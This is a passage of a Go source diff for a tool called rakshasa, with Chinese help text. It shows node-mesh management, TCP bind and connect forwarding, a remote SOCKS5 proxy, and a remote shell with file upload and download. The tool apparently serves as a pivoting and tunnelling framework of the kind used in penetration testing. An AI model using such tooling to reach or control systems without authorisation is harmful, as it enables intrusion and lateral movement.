n.conn.Close("超时关闭")
}
n.Delete("超时关闭")
//尝试重连
go func() {
if !currentConfig.Limit && len(n.mainIp) > 0 {
for _, addr := range n.mainIp {
_n, _ := connectNew(fmt.Sprintf("%s:%d", addr, n.port))
if _n != nil {
return
}
}
}
}()
return
}
n.pingTime = now.Unix()
if n.pongTime == 0 {
n.pongTime = n.pingTime
}
pingdata := make([]byte, 8)
pingdata[0] = byte(n.pingTime & 255)
pingdata[1] = byte(n.pingTime >> 8 & 255)
pingdata[2] = byte(n.pingTime >> 16 & 255)
pingdata[3] = byte(n.pingTime >> 24 & 255)
pingdata[4] = byte(n.pingTime >> 32 & 255)
pingdata[5] = byte(n.pingTime >> 40 & 255)
pingdata[6] = byte(n.pingTime >> 48 & 255)
pingdata[7] = byte(n.pingTime >> 56 & 255)
msg := &common.Msg{
From: currentNode.uuid,
To: n.uuid,
CmdOpteion: common.CMD_PING,
CmdId: id,
CmdData: pingdata,
}
n.WriteMsg(msg)
n.listenMap.Range(func(key, value interface{}) bool {
switch v := value.(type) {
case *serverListen:
msg.CmdOpteion = common.CMD_PING_LISTEN
msg.CmdData = nil
n.WriteMsg(msg)
case *clientListen:
msg.CmdOpteion = common.CMD_PING_LISTEN
msg.CmdData = nil
v.server.WriteMsg(msg)
}
return true
})
}
func (n *node) Delete(reason string) {
go func() {
l := clientLock.Lock()
_, ok := nodeMap[n.uuid]
if ok {
delete(nodeMap, n.uuid)
}
l.Unlock()
n.connMap.Range(func(key, value interface{}) bool {
if v, ok := value.(common.Conn); ok {
v.Close(reason)
}
n.connMap.Delete(key)
return true
})
n.udpConnMap.Range(func(key, value interface{}) bool {
if v, ok := value.(common.Conn); ok {
v.Close(reason)
}
n.udpConnMap.Delete(key)
return true
})
n.listenMap.Range(func(key, value interface{}) bool {
if v, ok := value.(*serverListen); ok {
v.listen.Close()
}
n.listenMap.Delete(key)
return true
})
n.shellMap.Range(func(key, value interface{}) bool {
v := value.(*remoteCmd)
if v.cmd != nil {
v.cmd.Process.Kill()
}
n.shellMap.Delete(key)
return true
})
}()
}
func (n *node) broadcastNode() {
//广播新增节点
nmsg := nodeMsg{
UUID: n.uuid,
HostName: n.hostName,
Addr: n.addr,
MainIp: n.mainIp,
Port: n.port,
Goos: n.goos,
}
b, _ := json.Marshal(nmsg)
writemsg := &common.Msg{
From: currentNode.uuid,
To: common.BroadcastUUID.String(),
CmdData: append([]byte{common.CMD_ADD_NODE, 0, 0}, b...),
}
go allNodesDo(func(_n *node) (bool, error) {
if _n.uuid != currentNode.uuid {
_n.WriteMsg(writemsg)
}
return true, nil
})
}
func GetNodeFromAddrs(dst []string) (n *node, err error) {
if len(dst) == 0 {
return nil, errors.New("参数错误,目标节点为空")
}
if n, err = getNode(dst[0]); err != nil {
return
}
for i := 1; i < len(dst); i++ {
n, err = n.remoteReg(dst[i])
if err != nil {
return
}
}
if n == nil {
return nil, fmt.Errorf("无法连接 %v", dst)
}
if n.uuid == currentNode.uuid {
return nil, errors.New("不能连接自己")
}
return
}
// 储存并返回id
func (n *node) storeQuery(v chan interface{}) (newID uint32) {
for {
newID = common.GetConnID()
if newID == 0 {
continue
}
if _, ok := n.queryMap.LoadOrStore(newID, v); !ok {
return
}
}
}
func (n *node) loadQuery(id uint32) (v chan interface{}, ok bool) {
value, ok := n.queryMap.Load(id)
if ok {
v = value.(chan interface{})
}
return v, ok
}
func (n *node) deleteQuery(id uint32) {
n.queryMap.Delete(id)
}
func (n *node) storeConn(v common.Conn) (newID uint32) {
for {
newID = common.GetConnID()
if newID == 0 {
continue
}
if _, ok := n.connMap.LoadOrStore(newID, v); !ok {
return
}
}
}
func (n *node) writeGetNodeResult(id uint32) {
l := clientLock.RLock()
defer l.RUnlock()
var s []nodeMsg
for _, _n := range nodeMap {
if _n.uuid != currentNode.uuid {
s = append(s, nodeMsg{
UUID: _n.uuid,
HostName: _n.hostName,
Addr: _n.addr,
MainIp: _n.mainIp,
Port: _n.port,
Goos: _n.goos,
})
}
}
b, _ := json.Marshal(s)
n.Write(common.CMD_GET_NODE_RESULT, id, b)
}
+228
View File
@@ -0,0 +1,228 @@
package server
import "strings"
func orderNode(list []*node) {
f := func(a, b *node) bool {
if strings.Contains(a.addr, "(localhost)") {
return true
} else if strings.Contains(b.addr, "(localhost)") {
return false
}
return a.uuid < b.uuid
}
max_len := len(list)
tmp := make([]*node, max_len)
for i := 0; i < max_len-max_len&1; i += 2 {
if f(list[i+1], list[i]) {
list[i], list[i+1] = list[i+1], list[i]
}
}
for i := 0; i < max_len-max_len&3; i += 4 {
if f(list[i+2], list[i]) {
list[i], list[i+2] = list[i+2], list[i]
}
if f(list[i+3], list[i+1]) {
list[i+1], list[i+3] = list[i+3], list[i+1]
}
if f(list[i+2], list[i+1]) {
list[i+1], list[i+2] = list[i+2], list[i+1]
}
}
if max_len&3 == 3 {
i := max_len - 3
if f(list[i+2], list[i]) {
list[i+1], list[i+2] = list[i+2], list[i+1]
list[i], list[i+1] = list[i+1], list[i]
} else if f(list[i+2], list[i+1]) {
list[i+1], list[i+2] = list[i+2], list[i+1]
}
}
var step, l, max, r int
step = 4
for step < max_len {
step <<= 1
for i := 0; i < max_len; i += step {
l, r, max = i, i+step/2, i+step
if max > max_len {
max = max_len
}
for index := i; index < max; index++ {
if l == step/2+i || (r < max && f(list[r], list[l])) {
tmp[index] = list[r]
r++
} else {
tmp[index] = list[l]
l++
}
}
}
if step < max_len {
for i := 0; i < max_len; i += step {
l, r, max = i, i+step/2, i+step
if max > max_len {
max = max_len
}
for index := i; index < max; index++ {
if l == step/2+i || (r < max && f(tmp[r], tmp[l])) {
list[index] = tmp[r]
r++
} else {
list[index] = tmp[l]
l++
}
}
}
} else {
copy(list, tmp)
}
}
}
func orderClientListen(list []*clientListen) {
f := func(a, b *clientListen) bool {
return a.id < b.id
}
max_len := len(list)
tmp := make([]*clientListen, max_len)
for i := 0; i < max_len-max_len&1; i += 2 {
if f(list[i+1], list[i]) {
list[i], list[i+1] = list[i+1], list[i]
}
}
for i := 0; i < max_len-max_len&3; i += 4 {
if f(list[i+2], list[i]) {
list[i], list[i+2] = list[i+2], list[i]
}
if f(list[i+3], list[i+1]) {
list[i+1], list[i+3] = list[i+3], list[i+1]
}
if f(list[i+2], list[i+1]) {
list[i+1], list[i+2] = list[i+2], list[i+1]
}
}
if max_len&3 == 3 {
i := max_len - 3
if f(list[i+2], list[i]) {
list[i+1], list[i+2] = list[i+2], list[i+1]
list[i], list[i+1] = list[i+1], list[i]
} else if f(list[i+2], list[i+1]) {
list[i+1], list[i+2] = list[i+2], list[i+1]
}
}
var step, l, max, r int
step = 4
for step < max_len {
step <<= 1
for i := 0; i < max_len; i += step {
l, r, max = i, i+step/2, i+step
if max > max_len {
max = max_len
}
for index := i; index < max; index++ {
if l == step/2+i || (r < max && f(list[r], list[l])) {
tmp[index] = list[r]
r++
} else {
tmp[index] = list[l]
l++
}
}
}
if step < max_len {
for i := 0; i < max_len; i += step {
l, r, max = i, i+step/2, i+step
if max > max_len {
max = max_len
}
for index := i; index < max; index++ {
if l == step/2+i || (r < max && f(tmp[r], tmp[l])) {
list[index] = tmp[r]
r++
} else {
list[index] = tmp[l]
l++
}
}
}
} else {
copy(list, tmp)
}
}
}
func orderHttpProxy(list []*httpProxyClient) {
f := func(a, b *httpProxyClient) bool {
return a.id < b.id
}
max_len := len(list)
tmp := make([]*httpProxyClient, max_len)
for i := 0; i < max_len-max_len&1; i += 2 {
if f(list[i+1], list[i]) {
list[i], list[i+1] = list[i+1], list[i]
}
}
for i := 0; i < max_len-max_len&3; i += 4 {
if f(list[i+2], list[i]) {
list[i], list[i+2] = list[i+2], list[i]
}
if f(list[i+3], list[i+1]) {
list[i+1], list[i+3] = list[i+3], list[i+1]
}
if f(list[i+2], list[i+1]) {
list[i+1], list[i+2] = list[i+2], list[i+1]
}
}
if max_len&3 == 3 {
i := max_len - 3
if f(list[i+2], list[i]) {
list[i+1], list[i+2] = list[i+2], list[i+1]
list[i], list[i+1] = list[i+1], list[i]
} else if f(list[i+2], list[i+1]) {
list[i+1], list[i+2] = list[i+2], list[i+1]
}
}
var step, l, max, r int
step = 4
for step < max_len {
step <<= 1
for i := 0; i < max_len; i += step {
l, r, max = i, i+step/2, i+step
if max > max_len {
max = max_len
}
for index := i; index < max; index++ {
if l == step/2+i || (r < max && f(list[r], list[l])) {
tmp[index] = list[r]
r++
} else {
tmp[index] = list[l]
l++
}
}
}
if step < max_len {
for i := 0; i < max_len; i += step {
l, r, max = i, i+step/2, i+step
if max > max_len {
max = max_len
}
for index := i; index < max; index++ {
if l == step/2+i || (r < max && f(tmp[r], tmp[l])) {
list[index] = tmp[r]
r++
} else {
list[index] = tmp[l]
l++
}
}
}
} else {
copy(list, tmp)
}
}
}
+325
View File
@@ -0,0 +1,325 @@
package server
import (
"errors"
"fmt"
"hash/crc32"
"net"
"rakshasa/common"
"strconv"
"strings"
"sync"
"sync/atomic"
"time"
"github.com/luyu6056/ishell"
)
var (
// clientListenMap = make(map[uint32]*remoteListen)
// connectMap = make(map[uint32]*rawConnect)
)
type clientListen struct {
id uint32
localAddr string
remoteAddr string
server *node
typ string
openOption byte
openMsg []byte //掉线重连会用到
connMap sync.Map //clientListen关闭的时候关掉这里的id
listen net.Listener
result chan interface{}
}
func StartRawBind(str string, dst []string) error {
n, err := GetNodeFromAddrs(dst)
if err != nil {
return err
}
addrs, err := common.ResolveTCPAddr(str)
if err != nil {
return err
}
if len(addrs) != 2 {
return errors.New("参数错误,格式为ip:port,remote_ip:remote_port")
}
l := &clientListen{
id: common.GetID(),
localAddr: addrs[0],
remoteAddr: addrs[1],
server: n,
typ: "bind",
result: make(chan interface{}),
openOption: common.CMD_LISTEN,
}
l.openMsg = []byte(addrs[1])
currentNode.listenMap.Store(l.id, l)
n.Write(l.openOption, l.id, l.openMsg)
select {
case res := <-l.result:
if err, ok := res.(error); ok {
l.Close(remoteClose)
currentNode.listenMap.Delete(l.id)
return err
}
case <-time.After(common.CMD_TIMEOUT):
l.Close(remoteClose)
currentNode.listenMap.Delete(l.id)
return fmt.Errorf("listen %s fail time out", addrs[1])
}
fmt.Println("bind 启动成功")
//l := clientLock.Lock()
//clientListenMap[b.id] = b
//l.Unlock()
return nil
}
func StartRawConnect(str string, n *node) error {
addrs, err := common.ResolveTCPAddr(str)
if len(addrs) != 2 || err != nil {
return errors.New("-connect参数错误,格式为ip:port,remote_ip:remote_port")
}
addr1, _ := net.ResolveTCPAddr("tcp", addrs[1])
listen, err := net.Listen("tcp", addrs[0])
if err != nil {
return errors.New("监听本地端口" + addrs[0] + "失败 " + err.Error())
}
l := &clientListen{
id: common.GetID(),
localAddr: addrs[0],
remoteAddr: addrs[1],
listen: listen,
server: n,
typ: "connect",
}
currentNode.listenMap.Store(l.id, l)
go func() {
for {
conn, err := listen.Accept()
if err != nil {
if err.(*net.OpError).Err == net.ErrClosed {
return
}
continue
}
s := &clientConnect{
conn: conn,
server: n,
}
s.OnOpened()
s.connect(common.RAW_TCP, addr1.IP.String(), uint16(addr1.Port))
go rawHandleLocal(s)
}
}()
return nil
}
func (l *clientListen) Close(reason string) {
l.connMap.Range(func(key, value interface{}) bool {
value.(*clientConnect).Close(reason)
l.connMap.Delete(key)
return true
})
l.server.listenMap.Delete(l.id)
if l.listen != nil {
l.listen.Close()
}
}
func rawHandleLocal(s *clientConnect) {
buf := make([]byte, common.MAX_PLAINTEXT)
for {
n, err := s.conn.Read(buf[8:])
if err != nil {
s.Close(err.Error())
return
}
var new_size int64
if new_size = int64(common.INIT_WINDOWS_SIZE) - s.windowsSize; new_size > 0 { //扩大窗口
atomic.AddInt64(&s.windowsSize, new_size)
} else {
new_size = 0
}
buf[0] = byte(new_size)
buf[1] = byte(new_size >> 8)
buf[2] = byte(new_size >> 16)
buf[3] = byte(new_size >> 24)
buf[4] = byte(new_size >> 32)
buf[5] = byte(new_size >> 40)
buf[6] = byte(new_size >> 48)
buf[7] = byte(new_size >> 56)
if common.Debug {
fmt.Println("发送", crc32.ChecksumIEEE(buf[8:8+n]), n)
}
data := make([]byte, 8+n)
copy(data, buf)
s.server.Write(common.CMD_CONN_MSG, s.id, buf)
}
}
func init() {
bindshell := cliInit()
bindshell.SetPrompt("rakshasa\\bind>")
bindshell.AddCmd(&ishell.Cmd{
Name: "list",
Help: "列出当前连接的ID和其他信息",
Func: func(c *ishell.Context) {
var list []*clientListen
currentNode.listenMap.Range(func(key, value interface{}) bool {
if v, ok := value.(*clientListen); ok {
if v.typ == "bind" {
list = append(list, v)
}
}
return true
})
orderClientListen(list)
fmt.Println("当前连接数量:", len(list))
for _, v := range list {
fmt.Println("ID", v.id, "本地端口", v.localAddr, "远程端口", v.remoteAddr, "服务器uuid", v.server.uuid)
}
},
})
bindshell.AddCmd(&ishell.Cmd{
Name: "new-bind",
Help: "新建一个本地bind,使用方法 new-bind ip:port,remote_ip:remote_port 目标服务器 如 new-bind 192.168.1.180:8808,0.0.0.0:8808 192.168.1.2:1081",
Func: func(c *ishell.Context) {
if len(c.Args) != 2 {
c.Println("参数错误")
return
}
if err := StartRawBind(c.Args[0], strings.Split(c.Args[1], ",")); err != nil {
c.Println("启动bind失败", err)
}
},
})
bindshell.AddCmd(&ishell.Cmd{
Name: "close",
Help: "关闭一个bind连接,使用方法 close ID",
Func: func(c *ishell.Context) {
if len(c.Args) != 1 {
c.Println("参数错误,例子 close 1")
return
}
id, _ := strconv.Atoi(c.Args[0])
var l *clientListen
if value, ok := currentNode.listenMap.Load(uint32(id)); ok {
if v, ok := value.(*clientListen); ok && v.typ == "bind" {
l = v
}
}
if l == nil {
c.Println("没有找到ID为", id, "的连接")
} else {
l.Close("命令行关闭")
l.server.Write(common.CMD_DELETE_LISTEN, l.id, nil)
currentNode.listenMap.Delete(uint32(id))
}
},
})
rootCli.AddCmd(&ishell.Cmd{
Name: "bind",
Help: "进入bind功能",
Func: func(c *ishell.Context) {
bindshell.Run()
},
})
connectshell := ishell.New()
connectshell.SetPrompt("rakshasa\\connect>")
connectshell.AddCmd(&ishell.Cmd{
Name: "list",
Help: "列出当前连接的ID和其他信息",
Func: func(c *ishell.Context) {
var list []*clientListen
currentNode.listenMap.Range(func(key, value interface{}) bool {
if v, ok := value.(*clientListen); ok {
if v.typ == "connect" {
list = append(list, v)
}
}
return true
})
orderClientListen(list)
fmt.Println("当前连接数量:", len(list))
for _, v := range list {
fmt.Println("ID", v.id, "本地端口", v.localAddr, "远程端口", v.remoteAddr, "服务器uuid", v.server.uuid)
}
},
})
connectshell.AddCmd(&ishell.Cmd{
Name: "new-connect",
Help: "新建一个本地connect,使用方法 new-connect ip:port,remote_ip:remote_port 目标服务器 如 new-connect 0.0.0.0:88,192.168.1.180:8808 192.168.1.2:1081",
Func: func(c *ishell.Context) {
if len(c.Args) != 2 {
c.Println("参数错误")
return
}
n, err := GetNodeFromAddrs(strings.Split(c.Args[1], ","))
if err != nil {
c.Println("connect连接", c.Args[1], "失败", err)
return
}
if err = StartRawConnect(c.Args[0], n); err != nil {
c.Println(err)
return
}
c.Println("connect连接", c.Args[1], "成功")
},
})
connectshell.AddCmd(&ishell.Cmd{
Name: "close",
Help: "关闭一个connect连接,使用方法 close ID",
Func: func(c *ishell.Context) {
if len(c.Args) != 1 {
c.Println("参数错误,例子 close 1")
return
}
id, _ := strconv.Atoi(c.Args[0])
var l *clientListen
if value, ok := currentNode.listenMap.Load(uint32(id)); ok {
if v, ok := value.(*clientListen); ok && v.typ == "connect" {
l = v
}
}
if l == nil {
c.Println("没有找到ID为", id, "的连接")
} else {
l.Close("命令行关闭")
l.server.Write(common.CMD_DELETE_LISTEN, l.id, nil)
currentNode.listenMap.Delete(uint32(id))
}
},
})
rootCli.AddCmd(&ishell.Cmd{
Name: "connect",
Help: "进入connect功能",
Func: func(c *ishell.Context) {
connectshell.Run()
},
})
}
+64
View File
@@ -0,0 +1,64 @@
package server
import (
"bytes"
"net"
"rakshasa/common"
"sync/atomic"
)
func (l *serverListen) Lisen() {
for {
c, err := l.listen.Accept()
if err != nil {
if err.(*net.OpError).Err == net.ErrClosed {
return
}
continue
}
conn := &serverConnect{}
conn.conn = c
conn.address = c.RemoteAddr().String()
conn.node = l.node
conn.write = make(chan *bytes.Buffer, 64)
if l.isSocks5 {
conn.id = l.id
l.node.Write(common.CMD_CONNECT_BYIDADDR_RESULT, l.replayid, l.socks5Replay)
go conn.handTcpReceive()
return
}
conn.id = l.node.storeConn(conn)
b := make([]byte, 4)
b[0] = byte(conn.id)
b[1] = byte(conn.id >> 8)
b[2] = byte(conn.id >> 16)
b[3] = byte(conn.id >> 24)
conn.node.Write(common.CMD_CONNECT_BYID, l.id, b)
l.connMap.Store(conn.id, conn)
go conn.handTcpReceive()
}
}
func (l *serverListen) Close(reason string) {
if atomic.CompareAndSwapInt32(&l.close, 0, 1) {
if l.listen != nil {
l.listen.Close()
}
l.connMap.Range(func(key, value interface{}) bool {
if reason != remoteClose {
l.node.Write(common.CMD_DELETE_CONNID, value.(*serverConnect).id, nil)
}
l.connMap.Delete(key)
return true
})
if reason != remoteClose {
l.node.Write(common.CMD_DELETE_LISTEN, l.id, nil)
}
}
}
+128
View File
@@ -0,0 +1,128 @@
package server
import (
"errors"
"fmt"
"rakshasa/common"
"strconv"
"strings"
"time"
"github.com/luyu6056/ishell"
)
func StartRemoteSocks5(cfg *common.Addr, n *node) error {
l := &clientListen{
id: common.GetID(),
localAddr: "",
remoteAddr: cfg.Addr(),
server: n,
typ: "socks5",
result: make(chan interface{}),
}
l.openOption = common.CMD_REMOTE_SOCKS5
l.openMsg = []byte(cfg.String())
n.Write(l.openOption, l.id, l.openMsg)
currentNode.listenMap.Store(l.id, l)
select {
case res := <-l.result:
if err, ok := res.(error); ok {
l.Close(remoteClose)
return err
}
case <-time.After(common.CMD_TIMEOUT):
l.Close(remoteClose)
return errors.New("time out")
}
return nil
}
func init() {
remoteSocks5shell := cliInit()
remoteSocks5shell.SetPrompt("rakshasa\\remotesocks5>")
remoteSocks5shell.AddCmd(&ishell.Cmd{
Name: "list",
Help: "列出当前连接的ID和其他信息",
Func: func(c *ishell.Context) {
var list []*clientListen
currentNode.listenMap.Range(func(key, value interface{}) bool {
if v, ok := value.(*clientListen); ok {
if v.typ == "socks5" {
list = append(list, v)
}
}
return true
})
orderClientListen(list)
fmt.Println("当前连接数量:", len(list))
for _, v := range list {
fmt.Println("ID", v.id, "本地端口", v.localAddr, "远程端口", v.remoteAddr, "服务器uuid", v.server.uuid)
}
},
})
remoteSocks5shell.AddCmd(&ishell.Cmd{
Name: "new-remotesocks5",
Help: "新建一个remotesocks5连接到本节点,使用方法 new-remotesocks5 配置字串符 目标服务器 如 new-remotesocks5 admin:[email protected]:1080 127.0.0.1:1081",
Func: func(c *ishell.Context) {
if len(c.Args) != 2 {
c.Println("参数错误")
return
}
n, err := GetNodeFromAddrs(strings.Split(c.Args[1], ","))
if err != nil {
c.Println("无法连接 ", c.Args[1], err)
return
}
cfg, err := common.ParseAddr(c.Args[0])
if err != nil {
c.Println(err)
return
}
if err = StartRemoteSocks5(cfg, n); err != nil {
c.Println("连接", c.Args[1], "失败", err)
return
}
c.Println("节点", c.Args[1], "配置信息,", c.Args[0], ",启动socks5 到 本节点 成功")
},
})
remoteSocks5shell.AddCmd(&ishell.Cmd{
Name: "close",
Help: "关闭一个remotesocks5连接,使用方法 close ID",
Func: func(c *ishell.Context) {
if len(c.Args) != 1 {
c.Println("参数错误,例子 close 1")
return
}
id, _ := strconv.Atoi(c.Args[0])
var l *clientListen
if value, ok := currentNode.listenMap.Load(uint32(id)); ok {
if v, ok := value.(*clientListen); ok && v.typ == "socks5" {
l = v
}
}
if l == nil {
c.Println("没有找到ID为", id, "的连接")
} else {
l.Close("命令行关闭")
l.server.Write(common.CMD_DELETE_LISTEN, l.id, nil)
currentNode.listenMap.Delete(uint32(id))
}
},
})
rootCli.AddCmd(&ishell.Cmd{
Name: "remotesocks5",
Help: "进入remotesocks5功能",
Func: func(c *ishell.Context) {
remoteSocks5shell.Run()
},
})
}
+837
View File
@@ -0,0 +1,837 @@
package server
/*
*高级shell功能
*node节点管理、remoteShell远程shellconfig配置管理
*/
import (
"bytes"
"encoding/json"
"fmt"
"io"
"io/ioutil"
"os"
"os/exec"
"rakshasa/aes"
"rakshasa/cert"
"rakshasa/common"
"runtime"
"strconv"
"strings"
"sync"
"sync/atomic"
"time"
"github.com/abiosoft/readline"
"github.com/creack/pty"
"github.com/dlclark/regexp2"
"github.com/luyu6056/ishell"
"golang.org/x/text/encoding/simplifiedchinese"
"golang.org/x/text/transform"
)
var (
shellMapLock sync.Mutex
)
type StartCmdParam struct {
Param string
Size *pty.Winsize
}
type remoteCmd struct {
cmdStatus int32
cmd *exec.Cmd
id uint32
stdin io.WriteCloser
inChan chan []byte
translate func(in []byte) ([]byte, error)
ping, pong int64
}
func init() {
configShell := cliInit()
configShell.SetPrompt("rakshasa\\config>")
configShell.AddCmd(&ishell.Cmd{
Name: "info",
Help: "打印当前配置",
Func: func(c *ishell.Context) {
c.Println("当前节点", currentNode.uuid)
c.Println("上级节点地址", currentConfig.DstNode)
c.Println("通讯密码", currentConfig.Password)
c.Println("监听端口", currentConfig.Port)
c.Println("监听IP", currentConfig.ListenIp)
c.Println("禁止额外连接", currentConfig.Limit)
c.Println("配置文件名", currentConfig.FileName)
if currentConfig.FileSave {
c.Println("当前配置:已写入文件")
} else {
c.Println("当前配置:未写入文件")
}
},
})
configShell.AddCmd(&ishell.Cmd{
Name: "save",
Help: "保存文件",
Func: func(c *ishell.Context) {
if err := ConfigSave(); err == nil {
c.Println("写入成功")
} else {
c.Println("保存失败", err.Error())
}
},
})
configShell.AddCmd(&ishell.Cmd{
Name: "d",
Help: "修改上级节点地址,格式为 ip:端口 多个节点以,隔开 注意:不会立刻连接设置节点, 当发生 节点掉线重连 时候会连接该地址",
Func: func(c *ishell.Context) {
if len(c.Args) != 1 {
c.Println("参数错误,格式为 ip:端口 多个节点以,隔开 如 d 192.168.1.1:8883,192.168.1.2:8883")
return
}
dstNode, err := common.ResolveTCPAddr(c.Args[0])
if err != nil {
c.Println("参数错误,格式为 ip:端口 多个节点以,隔开 如 d 192.168.1.1:8883,192.168.1.2:8883")
return
}
currentConfig.DstNode = dstNode
currentConfig.FileSave = false
},
})
configShell.AddCmd(&ishell.Cmd{
Name: "password",
Help: "修改通讯密码,立即生效",
Func: func(c *ishell.Context) {
if len(c.Args) != 1 {
c.Println("参数错误,格式为 password \"123456\"")
return
}
c.Println(c.Args)
currentConfig.Password = c.Args[0]
currentConfig.FileSave = false
aes.Key = aes.MD5_B(currentConfig.Password + string(cert.PublicKey[:16]))
},
})
configShell.AddCmd(&ishell.Cmd{
Name: "port",
Help: "修改监听端口,立即生效",
Func: func(c *ishell.Context) {
if len(c.Args) != 1 {
c.Println("参数错误,格式为 port 8883")
return
}
port, _ := strconv.Atoi(c.Args[0])
if port <= 0 || port > 65535 {
c.Println("参数错误,端口范围是1-65535")
return
}
c.Println("正在关闭server监听")
if currentNode.listen != nil {
currentNode.listen.Close()
currentNode.listen = nil
}
currentConfig.Port = port
currentNode.port = port
currentConfig.FileSave = false
currentNode.broadcastNode()
StartServer(port)
},
})
configShell.AddCmd(&ishell.Cmd{
Name: "ip",
Help: "修改本节点连接ip,当其他节点进行额外连接时候,优先使用此ip连接, 多个ip以,隔开",
Func: func(c *ishell.Context) {
if len(c.Args) != 1 {
c.Println("参数错误")
return
}
currentConfig.ListenIp = strings.Split(c.Args[0], ",")
currentNode.mainIp = currentConfig.ListenIp
currentConfig.FileSave = false
currentNode.broadcastNode()
},
})
configShell.AddCmd(&ishell.Cmd{
Name: "limit",
Help: "修改本节点Limit设置,使用方法 limit true",
Func: func(c *ishell.Context) {
if len(c.Args) != 1 {
c.Println("参数错误")
return
}
currentConfig.Limit = c.Args[0] == "true"
currentConfig.FileSave = false
},
})
configShell.AddCmd(&ishell.Cmd{
Name: "f",
Help: "修改配置文件名,使用方法 f config.yaml",
Func: func(c *ishell.Context) {
if len(c.Args) != 1 {
c.Println("参数错误")
return
}
currentConfig.FileName = c.Args[0]
currentConfig.FileSave = false
},
})
rootCli.AddCmd(&ishell.Cmd{
Name: "config",
Help: "配置管理",
Func: func(c *ishell.Context) {
configShell.Run()
},
})
remoteShell := cliInit()
remoteShell.SetPrompt("rakshasa\\remoteshell>")
fileShell := ishell.New()
remoteShell.AddCmd(&ishell.Cmd{
Name: "file",
Help: "连到节点进行文件管理,参数为id或者uuid",
Func: func(c *ishell.Context) {
if len(c.Args) != 1 {
c.Println("参数错误")
return
}
workN, _ := getNode(c.Args[0])
if workN == nil {
c.Println("无法连接节点", c.Args[0])
return
}
if workN != nil {
fileShell.Set("node", workN)
result := make(chan interface{}, 1)
id := workN.storeQuery(result)
workN.Write(common.CMD_PWD, id, nil)
select {
case pwd := <-result:
workN.deleteQuery(id)
pwd = strings.ReplaceAll(pwd.(string), "\\", "/")
fileShell.Set("pwd", pwd)
fileShell.SetPrompt(workN.uuid + " " + pwd.(string) + ">")
fileShell.Run()
case <-time.After(common.CMD_TIMEOUT):
workN.deleteQuery(id)
c.Println("连接", c.Args[0], "超时")
}
}
},
})
fileShell.AddCmd(&ishell.Cmd{
Name: "dir",
Help: "打印当前目录文件",
Func: func(c *ishell.Context) {
pwd := fileShell.Get("pwd")
n := c.Get("node").(*node)
resChan := make(chan interface{}, 1)
id := n.storeQuery(resChan)
n.Write(common.CMD_DIR, id, []byte(pwd.(string)))
select {
case res := <-resChan:
n.deleteQuery(id)
c.Println(res)
case <-time.After(common.CMD_TIMEOUT):
n.deleteQuery(id)
c.Println("dir time out")
}
},
})
fileShell.AddCmd(&ishell.Cmd{
Name: "cd",
Help: "切换工作目录",
Func: func(c *ishell.Context) {
if len(c.Args) != 1 {
c.Println("参数错误")
return
}
dir := c.Args[0]
pwd := fileShell.Get("pwd").(string)
n := c.Get("node").(*node)
if strings.Contains(dir, ":/") || dir[0] == '/' || dir == "~" {
pwd = dir
} else {
pwd += "/" + dir
pwd = strings.TrimRight(realpath(pwd), "/")
}
resChan := make(chan interface{}, 1)
id := n.storeQuery(resChan)
n.Write(common.CMD_CD, id, []byte(pwd))
select {
case res := <-resChan:
n.deleteQuery(id)
if err, ok := res.(error); ok {
c.Println(err.Error())
} else {
pwd = res.(string)
fileShell.Set("pwd", pwd)
c.SetPrompt(n.uuid + " " + pwd + ">")
}
case <-time.After(common.CMD_TIMEOUT):
n.deleteQuery(id)
c.Println("dir time out")
}
},
})
fileShell.AddCmd(&ishell.Cmd{
Name: "upload",
Help: "上传文件 ,upload 本地文件 远程目录(为空传到工作目录)",
Func: func(c *ishell.Context) {
if len(c.Args) != 1 && len(c.Args) != 2 {
c.Println("参数错误")
return
}
s, err := os.Stat(c.Args[0])
if err != nil {
c.Println("打开本地文件", c.Args[0], "错误 ", err)
return
}
f, err := os.Open(c.Args[0])
if err != nil {
c.Println("打开本地文件", c.Args[0], "错误 ", err)
return
}
defer f.Close()
pwd := fileShell.Get("pwd").(string) + "/"
n := c.Get("node").(*node)
if len(c.Args) == 2 {
pwd = c.Args[1]
}
pwd = strings.ReplaceAll(pwd, "\\", "/")
c.Args[0] = strings.ReplaceAll(c.Args[0], "\\", "/")
i := strings.LastIndex(c.Args[0], "/")
if i == -1 {
i = 0
}
if pwd[len(pwd)-1] == '/' {
pwd += c.Args[0][i:]
}
i = strings.LastIndex(pwd, "/")
if i == -1 {
i = 0
}
filename := pwd[i+1:]
dir := pwd[:i]
dir = strings.TrimRight(realpath(dir), "/") + "/"
pwd = dir + filename
resChan := make(chan interface{}, 9999) //避免收消息阻塞
filereadChan := make(chan []byte, 10)
upload := func() {
for i := 0; i < 10; i++ {
buf := make([]byte, common.MAX_PACKAGE-len(pwd)-9)
n, err := f.Read(buf)
if err != nil {
if err == io.EOF {
return
}
resChan <- err
c.Println("读取文件", c.Args[0], "错误", err)
return
}
filereadChan <- buf[:n]
}
}
offset := 0
be := len(pwd) + 1
id := n.storeQuery(resChan)
defer n.deleteQuery(id)
b := []byte(pwd)
b = append(b, 0, 0, 0, 0, 0, 0, 0, 0, 0)
c.ProgressBar().Start()
go upload()
var resnum int
for {
select {
case data := <-filereadChan:
b[be] = byte(offset)
b[be+1] = byte(offset >> 8)
b[be+2] = byte(offset >> 16)
b[be+3] = byte(offset >> 24)
b[be+4] = byte(offset >> 32)
b[be+5] = byte(offset >> 40)
b[be+6] = byte(offset >> 48)
b[be+7] = byte(offset >> 56)
offset += len(data)
n.Write(common.CMD_UPLOAD, id, append(b, data...))
case res := <-resChan:
switch v := res.(type) {
case error:
c.ProgressBar().Stop()
c.Println("上传失败", res)
return
case int64:
resnum++
i := v * 100 / s.Size()
c.ProgressBar().Suffix(fmt.Sprint(" ", i, "%"))
c.ProgressBar().Progress(int(i))
if v == s.Size() {
c.ProgressBar().Stop()
c.Println(c.Args[0], "上传成功")
return
}
if resnum >= 5 {
go upload()
resnum -= 10
}
default:
c.Println("协议错误")
return
}
case <-time.After(common.CMD_TIMEOUT):
c.ProgressBar().Stop()
c.Println("upload time out")
return
}
}
},
})
fileShell.AddCmd(&ishell.Cmd{
Name: "download",
Help: "下载文件 download 远程文件 本地目录(为空本地执行目录)",
Func: func(c *ishell.Context) {
if len(c.Args) != 1 && len(c.Args) != 2 {
c.Println("参数错误")
return
}
pwd := fileShell.Get("pwd").(string)
n := c.Get("node").(*node)
file := c.Args[0]
file = strings.ReplaceAll(file, "\\", "/")
if strings.Contains(file, ":/") || file[0] == '/' {
pwd = file
} else {
pwd += "/" + file
}
i := strings.LastIndex(pwd, "/")
if i == -1 {
i = 0
}
